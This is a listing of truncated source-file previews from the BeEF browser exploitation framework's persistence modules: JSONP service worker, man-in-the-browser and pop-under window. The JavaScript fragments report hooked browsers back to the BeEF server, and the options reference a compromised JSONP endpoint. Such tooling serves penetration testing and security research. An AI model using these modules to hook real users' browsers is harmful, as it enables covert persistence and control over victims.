# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: jsonp_service_worker: enable: true category: "Persistence" name: "JSONP Servic...
Ruby
beef/modules/persistence/jsonp_service_worker/module.rb
class Jsonp_service_worker < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end def self.options [ { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' }, { 'name' ...
JavaScript
beef/modules/persistence/man_in_the_browser/command.js
/* * Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ beef.execute(function() { try{ beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked."); beef.mitb.init("<%= @...
YAML
beef/modules/persistence/man_in_the_browser/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: man_in_the_browser: enable: true category: "Persistence" name: "Man-In-The-Bro...
Ruby
beef/modules/persistence/man_in_the_browser/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Man_in_the_browser < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/persistence/popunder_window/command.js
// // Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html'; ...
YAML
beef/modules/persistence/popunder_window/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: popunder_window: enable: true category: "Persistence" name: "Create Pop Under"...